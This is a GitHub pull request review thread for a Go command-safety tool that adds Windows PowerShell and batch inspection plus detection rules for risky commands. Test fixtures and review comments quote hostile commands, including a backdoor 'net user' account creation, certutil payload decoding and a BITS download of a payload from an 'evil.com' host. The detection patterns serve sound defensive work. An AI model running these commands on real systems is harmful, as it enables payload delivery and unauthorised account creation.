| writeWorktreeFile(t, filepath.Join(worktreeRoot, ".tickets", "local", "scratch.md"), "ignored\n") | ||
|
|
||
| output, err := runWorktreeCmdErr(worktreeRoot, "bash", scriptPath) | ||
| if err == nil { | ||
| t.Fatal("expected setup-worktree to fail when ignored files exist in .tickets") | ||
| } | ||
| if !strings.Contains(output, "refusing to replace") { | ||
| t.Fatalf("expected refusal output, got:\n%s", output) | ||
| } | ||
| if !strings.Contains(output, "!! .tickets/local/") && !strings.Contains(output, "!! .tickets/local/scratch.md") { | ||
| t.Fatalf("expected ignored-file status in output, got:\n%s", output) | ||
| } | ||
|
|
||
| info := mustLstat(t, filepath.Join(worktreeRoot, ".tickets")) | ||
| if info.Mode()&os.ModeSymlink != 0 { | ||
| t.Fatal("expected .tickets to remain a real directory after refusal") | ||
| } | ||
| } |
There was a problem hiding this comment.
Please add race+coverage execution for this new test surface.
The PR test runs listed for these tests do not include -race or coverage reporting. Please add those in CI or documented verification commands for this package.
As per coding guidelines "Run tests with race detector enabled (go test -race) and generate coverage reports".
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@worktree_setup_test.go` around lines 13 - 57, The CI/test invocation for the
new tests (TestSetupWorktreeLinksSharedDirectories and
TestSetupWorktreeRefusesIgnoredTicketsFiles) must include the Go race detector
and produce coverage; update the CI job or package test script that runs these
tests (the job that invokes go test for the package containing
runWorktreeCmd/runWorktreeCmdErr) to run: go test -race
-coverprofile=coverage.out ./... (or at least for this package) and ensure
coverage is uploaded/recorded; if you have a local verification command in
README or a Makefile target, add a target like "test-race-coverage" that runs go
test -race -covermode=atomic -coverprofile=coverage.out for the package
containing TestSetupWorktree..., and reference runWorktreeCmd/runWorktreeCmdErr
in the commit message so maintainers know which tests were affected.
php-workx
force-pushed
the
feat/win-security-rules
branch
from
April 2, 2026 13:07
fbd1c62 to
3148ac6
Compare
This comment has been minimized.
This comment has been minimized.
There was a problem hiding this comment.
Actionable comments posted: 3
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
internal/core/inspect.go (1)
332-344:⚠️ Potential issue | 🟠 Major
mode&0o111does not detect executables on Windows—impacts all file types, not just batch files.The executable-bit check in
detectExecutablePath()will always return""on Windows becauseos.Stat().Mode()never exposes the execute permission bits (0o111 always = 0). This affects ANY executable detection on Windows—not only.cmd/.bat, but also direct paths to.exeor custom interpreter executables that lack recognized file extensions.While batch files are typically wrapped by the OS (via
cmd.exe), the fallback handler serves unknown shell types. The fix should use Windows-specific detection: check for recognized executable extensions (.exe,.bat,.cmd,.com,.scr, etc.) or NTFS file attributes instead of the Unix execute-bit model.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/core/inspect.go` around lines 332 - 344, detectExecutablePath currently relies on Unix execute bits (info.Mode()&0o111) which always fails on Windows; update the function to branch on runtime.GOOS == "windows" and, for Windows, treat a file as executable by checking its extension against a whitelist (e.g. .exe, .bat, .cmd, .com, .scr — case-insensitive using filepath.Ext and strings.EqualFold) or by inspecting NTFS attributes if desired, while preserving the existing os.Stat and IsDir checks; for non-Windows keep the existing Unix execute-bit check (info.Mode()&0o111) so behavior is unchanged on POSIX.
♻️ Duplicate comments (2)
internal/inspect/batch_test.go (1)
23-24:⚠️ Potential issue | 🟠 MajorRemove password-shaped literals from these fixtures.
These strings are still close enough to real credentials to trigger secret scanning and policy noise, even inside commented-out batch content. Use a neutral placeholder everywhere.
🧹 Suggested cleanup
-:: net user evil P@ssw0rd! /add +:: net user evil placeholder-password /add - REM net user evil dummyP@ssw0rd! /add + REM net user evil placeholder-password /add -net user evil P@ssw0rd! /add +net user evil placeholder-password /addAlso applies to: 41-41, 56-56
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/inspect/batch_test.go` around lines 23 - 24, The test fixture contains password-shaped literals in the commented batch content (e.g. "REM certutil -decode payload.b64 payload.exe" and ":: net user evil P@ssw0rd! /add"); replace any real-looking credentials with a neutral placeholder (e.g. "PLACEHOLDER_PASSWORD" or "PLACEHOLDER_PAYLOAD") in the batch fixture strings used by the tests so the literals at the shown locations and the duplicates at the other occurrences (lines noted in the review) no longer resemble real passwords or secrets.internal/core/inspect.go (1)
238-244:⚠️ Potential issue | 🟠 MajorWrapper parsing still misses common Windows flag layouts.
The new PowerShell branch only works when the script path survives generic positional scanning, and the CMD branch requires
/cto beargs[0]. That still misses valid forms likepwsh -WorkingDirectory C:\repo -File deploy.ps1andcmd.exe /d /c deploy.cmd, so referenced-file inspection can be skipped.For Windows shell syntax, can `cmd.exe` switches like `/d` appear before `/c`, and can `powershell.exe`/`pwsh` parameter-value pairs like `-WorkingDirectory <dir>` appear before `-File <script.ps1>`?Also applies to: 299-326
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/core/inspect.go` around lines 238 - 244, The parsing logic in the powershell and cmd branches of internal/core/inspect.go is too rigid (it assumes /c is at args[0] and script path is a positional arg) and misses valid layouts like "cmd.exe /d /c deploy.cmd" or "pwsh -WorkingDirectory C:\repo -File deploy.ps1"; update the branches that call extractFile to robustly scan args for relevant switches: for cmd (case "cmd", "cmd.exe") search args for any case-insensitive "/c" token and, if found, use the following token as the candidate to pass to extractFile (so /d or other flags before /c are allowed); for PowerShell (case "powershell", "pwsh", etc.) scan args for the parameter names "-File", "-Command"/"-c", "-EncodedCommand"/"-enc" (case-insensitive) and handle both parameter/value pairs (take the next arg for "-File") and standalone encoded forms, falling back to scanning positional args for a .ps1 file if none of those flags are present; keep using extractFile to validate extensions but feed it the correct sub-slice or discovered token(s).
🧹 Nitpick comments (1)
internal/policy/builtins_windows_security.go (1)
12-262: Consider splitting the monolithic Windows rule init into themed builders.This
init()is precedence-sensitive and large; extracting grouped rule constructors (e.g., registry, remoting, LOLBins) would make ordering changes safer and review diffs smaller.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/policy/builtins_windows_security.go` around lines 12 - 262, The init() for Windows builtins is large and precedence-sensitive; refactor by extracting themed builder functions that return []BuiltinRule (e.g., buildWindowsRegistryRules(), buildWindowsRemotingRules(), buildWindowsLOLBinsRules(), buildWindowsCOMRules()) and replace the big inline rules slice with a sequence of calls that concatenates those slices in the exact same order before doing BuiltinRules = append(rules, BuiltinRules...); ensure each builder constructs the same BuiltinRule entries (IDs like "builtin:windows:reg-add-general", "builtin:windows:new-pssession", "builtin:windows:comobject-general", etc.) and preserves any Predicate logic so rule matching precedence and semantics remain unchanged.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@internal/inspect/powershell.go`:
- Around line 97-123: The stripPowerShellBlockComments function incorrectly
treats "<#" and "#>" inside quoted strings as block comment delimiters; update
stripPowerShellBlockComments to track quote context by adding boolean state for
single-quote and double-quote (e.g., inSingleQuote, inDoubleQuote) and only
increment/decrement blockCommentDepth when both are false (i.e., when not inside
a quoted string). Toggle the quote state when encountering unescaped '\'' or '"'
characters (respecting PowerShell string rules as needed) and ensure characters
inside quotes are written to the builder without affecting block comment depth;
keep using the same function and parameter names (stripPowerShellBlockComments,
blockCommentDepth) so callers are unchanged.
In `@internal/policy/builtins_windows_download.go`:
- Around line 42-47: The Start-BitsTransfer rule (ID
"builtin:windows:start-bitstransfer-url") currently only matches the named
"-Source" form; update the regexp in the Pattern (regexp.MustCompile call) to
also detect a positional URL argument immediately following the command (i.e.,
match either "-Source\s+https?://..." OR whitespace then "https?://..." after
Start-BitsTransfer), so commands like "Start-BitsTransfer https://..." are
caught as well while preserving the existing named-parameter match and decision
Action core.DecisionApproval.
In `@specs/windows-support-plan.md`:
- Around line 95-97: The "Batch scanning is line-oriented; commands continued
with `^` across lines are not reconstructed before matching" bullet is outdated
because internal/inspect/batch.go now reconstructs `^`-continued logical lines;
remove or update that bullet in specs/windows-support-plan.md to reflect current
behavior (either delete the Batch scanning line or replace it with a note that
`internal/inspect/batch.go` reconstructs caret-continued lines before matching
and document any remaining edge cases).
---
Outside diff comments:
In `@internal/core/inspect.go`:
- Around line 332-344: detectExecutablePath currently relies on Unix execute
bits (info.Mode()&0o111) which always fails on Windows; update the function to
branch on runtime.GOOS == "windows" and, for Windows, treat a file as executable
by checking its extension against a whitelist (e.g. .exe, .bat, .cmd, .com, .scr
— case-insensitive using filepath.Ext and strings.EqualFold) or by inspecting
NTFS attributes if desired, while preserving the existing os.Stat and IsDir
checks; for non-Windows keep the existing Unix execute-bit check
(info.Mode()&0o111) so behavior is unchanged on POSIX.
---
Duplicate comments:
In `@internal/core/inspect.go`:
- Around line 238-244: The parsing logic in the powershell and cmd branches of
internal/core/inspect.go is too rigid (it assumes /c is at args[0] and script
path is a positional arg) and misses valid layouts like "cmd.exe /d /c
deploy.cmd" or "pwsh -WorkingDirectory C:\repo -File deploy.ps1"; update the
branches that call extractFile to robustly scan args for relevant switches: for
cmd (case "cmd", "cmd.exe") search args for any case-insensitive "/c" token and,
if found, use the following token as the candidate to pass to extractFile (so /d
or other flags before /c are allowed); for PowerShell (case "powershell",
"pwsh", etc.) scan args for the parameter names "-File", "-Command"/"-c",
"-EncodedCommand"/"-enc" (case-insensitive) and handle both parameter/value
pairs (take the next arg for "-File") and standalone encoded forms, falling back
to scanning positional args for a .ps1 file if none of those flags are present;
keep using extractFile to validate extensions but feed it the correct sub-slice
or discovered token(s).
In `@internal/inspect/batch_test.go`:
- Around line 23-24: The test fixture contains password-shaped literals in the
commented batch content (e.g. "REM certutil -decode payload.b64 payload.exe" and
":: net user evil P@ssw0rd! /add"); replace any real-looking credentials with a
neutral placeholder (e.g. "PLACEHOLDER_PASSWORD" or "PLACEHOLDER_PAYLOAD") in
the batch fixture strings used by the tests so the literals at the shown
locations and the duplicates at the other occurrences (lines noted in the
review) no longer resemble real passwords or secrets.
---
Nitpick comments:
In `@internal/policy/builtins_windows_security.go`:
- Around line 12-262: The init() for Windows builtins is large and
precedence-sensitive; refactor by extracting themed builder functions that
return []BuiltinRule (e.g., buildWindowsRegistryRules(),
buildWindowsRemotingRules(), buildWindowsLOLBinsRules(), buildWindowsCOMRules())
and replace the big inline rules slice with a sequence of calls that
concatenates those slices in the exact same order before doing BuiltinRules =
append(rules, BuiltinRules...); ensure each builder constructs the same
BuiltinRule entries (IDs like "builtin:windows:reg-add-general",
"builtin:windows:new-pssession", "builtin:windows:comobject-general", etc.) and
preserves any Predicate logic so rule matching precedence and semantics remain
unchanged.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 51cdf1cf-2fd9-4b96-8d53-9269fa892b5f
📒 Files selected for processing (26)
internal/core/classify.gointernal/core/classify_winshell_test.gointernal/core/inspect.gointernal/core/inspect_test.gointernal/core/normalize.gointernal/core/normalize_test.gointernal/core/safecmds.gointernal/core/safecmds_test.gointernal/core/shelltype.gointernal/core/shelltype_test.gointernal/inspect/batch.gointernal/inspect/batch_test.gointernal/inspect/powershell.gointernal/inspect/powershell_test.gointernal/policy/builtins_windows_download.gointernal/policy/builtins_windows_lolbin.gointernal/policy/builtins_windows_security.gointernal/policy/hardcoded.gointernal/policy/hardcoded_test.gointernal/policy/policy_test.gointernal/policy/rule_tags.gojustfilescripts/setup-worktree.shspecs/windows-support-plan.mdtestdata/fixtures/commands.yamlworktree_setup_test.go
✅ Files skipped from review due to trivial changes (4)
- internal/policy/hardcoded_test.go
- internal/core/safecmds_test.go
- scripts/setup-worktree.sh
- internal/policy/policy_test.go
🚧 Files skipped from review as they are similar to previous changes (10)
- justfile
- internal/policy/rule_tags.go
- internal/core/normalize.go
- internal/policy/builtins_windows_lolbin.go
- worktree_setup_test.go
- internal/policy/hardcoded.go
- testdata/fixtures/commands.yaml
- internal/core/classify.go
- internal/core/shelltype.go
- internal/core/classify_winshell_test.go
Comment on lines
+97
to
+123
| // stripPowerShellBlockComments removes block comment segments from a line while | ||
| // tracking nested <# ... #> depth across lines. | ||
| func stripPowerShellBlockComments(line string, blockCommentDepth *int) string { | ||
| var b strings.Builder | ||
|
|
||
| for i := 0; i < len(line); { | ||
| if i+1 < len(line) { | ||
| if line[i] == '<' && line[i+1] == '#' { | ||
| (*blockCommentDepth)++ | ||
| i += 2 | ||
| continue | ||
| } | ||
|
|
||
| if line[i] == '#' && line[i+1] == '>' && *blockCommentDepth > 0 { | ||
| (*blockCommentDepth)-- | ||
| i += 2 | ||
| continue | ||
| } | ||
| } | ||
|
|
||
| if *blockCommentDepth == 0 { | ||
| b.WriteByte(line[i]) | ||
| } | ||
| i++ | ||
| } | ||
|
|
||
| return b.String() |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
In PowerShell syntax, do <#and#> inside single-quoted or double-quoted strings start/end block comments, or are they treated as literal string text?
💡 Result:
In PowerShell, <# and #> inside single-quoted or double-quoted strings are treated as literal string text, not as block comment delimiters.
Citations:
- 1: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_comments?view=powershell-7.6
- 2: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_comments?view=powershell-7.5#:~:text=PowerShell%20comment%20styles,-PowerShell%20supports%20two&text=Single%2Dline%20comments%20begin%20with,end%2Dof%2Dline%20comments.
Add quoted-string tracking to stripPowerShellBlockComments.
In PowerShell, <# and #> inside single-quoted or double-quoted strings are literal text, not block-comment delimiters. The current implementation ignores quote context and toggles block-comment depth unconditionally on raw <# and #> bytes. This allows bypass—for example, Write-Host "<#" incorrectly pushes the scanner into block-comment mode, hiding all subsequent lines until an unrelated #> appears.
Fix by tracking single-quote and double-quote depth alongside block-comment depth, and only toggle comment markers when outside both quote types.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@internal/inspect/powershell.go` around lines 97 - 123, The
stripPowerShellBlockComments function incorrectly treats "<#" and "#>" inside
quoted strings as block comment delimiters; update stripPowerShellBlockComments
to track quote context by adding boolean state for single-quote and double-quote
(e.g., inSingleQuote, inDoubleQuote) and only increment/decrement
blockCommentDepth when both are false (i.e., when not inside a quoted string).
Toggle the quote state when encountering unescaped '\'' or '"' characters
(respecting PowerShell string rules as needed) and ensure characters inside
quotes are written to the builder without affecting block comment depth; keep
using the same function and parameter names (stripPowerShellBlockComments,
blockCommentDepth) so callers are unchanged.
Comment on lines
+42
to
+47
| { | ||
| ID: "builtin:windows:start-bitstransfer-url", | ||
| Pattern: regexp.MustCompile(`(?i)\bStart-BitsTransfer\b.*\s-Source\b.*https?://`), | ||
| Action: core.DecisionApproval, | ||
| Reason: "Downloads content via BITS", | ||
| }, |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
In PowerShell, can Start-BitsTransfertake the source URL positionally without the-Source parameter name?
💡 Result:
Yes, Start-BitsTransfer can take the source URL positionally without the -Source parameter name. The syntax shows [-Source] <String[]> as the first mandatory positional parameter, followed by [[-Destination] <String[]>]. Multiple Microsoft documentation pages and examples confirm positional usage, such as Start-BitsTransfer https://example.com/file.txt C:\local\file.txt.
Citations:
- 1: https://learn.microsoft.com/en-us/powershell/module/bitstransfer/start-bitstransfer?view=windowsserver2025-ps
- 2: https://pdq.com/powershell/start-bitstransfer
- 3: https://learn.microsoft.com/en-us/windows/win32/bits/using-windows-powershell-to-create-bits-transfer-jobs
- 4: https://learn.microsoft.com/en-us/powershell/module/bitstransfer/start-bitstransfer?view=windowsserver2022-ps
- 5: https://ss64.com/ps/start-bitstransfer.html
Start-BitsTransfer rule misses valid positional parameter syntax.
The current regex requires the named -Source parameter, but PowerShell documentation confirms Start-BitsTransfer accepts the URL as a positional argument. Commands like Start-BitsTransfer https://evil.com/payload.exe C:\Temp\payload.exe bypass this detection rule. Update the pattern to match both the named-parameter form (-Source <url>) and positional form.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@internal/policy/builtins_windows_download.go` around lines 42 - 47, The
Start-BitsTransfer rule (ID "builtin:windows:start-bitstransfer-url") currently
only matches the named "-Source" form; update the regexp in the Pattern
(regexp.MustCompile call) to also detect a positional URL argument immediately
following the command (i.e., match either "-Source\s+https?://..." OR whitespace
then "https?://..." after Start-BitsTransfer), so commands like
"Start-BitsTransfer https://..." are caught as well while preserving the
existing named-parameter match and decision Action core.DecisionApproval.
Comment on lines
+95
to
+97
| **Accepted scanner limitations:** | ||
| - PowerShell scanning is line-oriented; here-strings, splatting, and commands split across multiple lines are not reconstructed before matching. | ||
| - Batch scanning is line-oriented; commands continued with `^` across lines are not reconstructed before matching. |
There was a problem hiding this comment.
The batch-scanner limitation is stale.
internal/inspect/batch.go now reconstructs ^-continued logical lines before matching, so this bullet documents a limitation that was already fixed. Please update or remove it to avoid understating the current Windows coverage.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@specs/windows-support-plan.md` around lines 95 - 97, The "Batch scanning is
line-oriented; commands continued with `^` across lines are not reconstructed
before matching" bullet is outdated because internal/inspect/batch.go now
reconstructs `^`-continued logical lines; remove or update that bullet in
specs/windows-support-plan.md to reflect current behavior (either delete the
Batch scanning line or replace it with a note that `internal/inspect/batch.go`
reconstructs caret-continued lines before matching and document any remaining
edge cases).
This comment has been minimized.
This comment has been minimized.
There was a problem hiding this comment.
🧹 Nitpick comments (1)
internal/core/inspect_test.go (1)
171-188: Assert thefirewall_modifysignal here, not justAPPROVAL.
DecisionApprovalis shared by several categories ininferDecisionFromSignals, so this can still pass without proving the new batch firewall rule actually fired. Checking forfirewall_modifykeeps the coverage targeted.🎯 Tighten the assertion
if len(result.Signals) == 0 { t.Fatal("expected signals for dangerous batch file, got 0") } + hasFirewallModify := false + for _, s := range result.Signals { + if s.Category == "firewall_modify" { + hasFirewallModify = true + break + } + } + if !hasFirewallModify { + t.Fatalf("expected firewall_modify signal, got %+v", result.Signals) + } if result.Decision != DecisionApproval { t.Fatalf("expected APPROVAL for dangerous batch file, got %s", result.Decision) }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/core/inspect_test.go` around lines 171 - 188, The test TestInspectFile_BatchSignals currently only asserts the overall decision (DecisionApproval) which is ambiguous; update the test to also assert that the specific signal "firewall_modify" is present in the result.Signals returned by InspectFile so the batch firewall-rule detection is verified; specifically, after calling InspectFile in TestInspectFile_BatchSignals, add an assertion that iterates or checks result.Signals contains the unique signal name "firewall_modify" (in addition to the existing DecisionApproval assertion) to ensure inferDecisionFromSignals produced the expected firewall-modification signal.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Nitpick comments:
In `@internal/core/inspect_test.go`:
- Around line 171-188: The test TestInspectFile_BatchSignals currently only
asserts the overall decision (DecisionApproval) which is ambiguous; update the
test to also assert that the specific signal "firewall_modify" is present in the
result.Signals returned by InspectFile so the batch firewall-rule detection is
verified; specifically, after calling InspectFile in
TestInspectFile_BatchSignals, add an assertion that iterates or checks
result.Signals contains the unique signal name "firewall_modify" (in addition to
the existing DecisionApproval assertion) to ensure inferDecisionFromSignals
produced the expected firewall-modification signal.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: d54ca882-22f2-46c5-8bc6-896cee06a212
📒 Files selected for processing (3)
internal/core/classify_test.gointernal/core/inspect_test.goscripts/pre-push
✅ Files skipped from review due to trivial changes (1)
- scripts/pre-push
Kody Review CompleteGreat news! 🎉 Keep up the excellent work! 🚀 Kody Guide: Usage and ConfigurationInteracting with Kody
Current Kody ConfigurationReview OptionsThe following review options are enabled or disabled:
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Testing
go test . ./internal/core ./internal/inspect ./internal/policy -count=1go test ./internal/core -run 'TestIsConditionallySafe|TestDetectShellType|TestClassificationNormalize' -count=1go test ./internal/core -run 'TestClassify_GoldenFixtures' -count=1go test ./internal/inspect -run 'TestScanPowerShell|TestScanBatch' -count=1go test ./internal/inspect -count=1go test ./internal/policy -run 'TestEvaluateBuiltins_WindowsMshtaGeneralExcludesJavascript|TestEvaluateBuiltins_WindowsHighRiskSecurityRules|TestWindowsCertutilGeneralPredicateExcludesDecodeAndUrlcache|TestEvaluateBuiltins_WindowsRegAddGeneralRunBoundary|TestBuiltinRuleTagParity' -count=1go test . -run 'TestSetupWorktreeLinksSharedDirectories|TestSetupWorktreeRefusesIgnoredTicketsFiles|TestAssertSymlinkTargetResolvesRelativeLinks' -count=1Notes
go test ./... -count=1was attempted but exceeded the shell timeout in this sessionSummary by CodeRabbit
New Features
Policy
Tests
Documentation
Chores
Race/Coverage Notes
CGO_ENABLED=1 go test -race -coverprofile=/tmp/inspect.cover -covermode=atomic ./internal/inspect -run 'TestScanBatch|TestScanPowerShell' -vScanBatch:92.9%ScanPowerShell:100.0%CGO_ENABLED=1 go test -race -coverprofile=/tmp/worktree.cover -covermode=atomic . -run 'TestSetupWorktreeLinksSharedDirectories|TestSetupWorktreeRefusesIgnoredTicketsFiles|TestAssertSymlinkTargetResolvesRelativeLinks' -v0.0%because the root package contains tests only and no non-test statements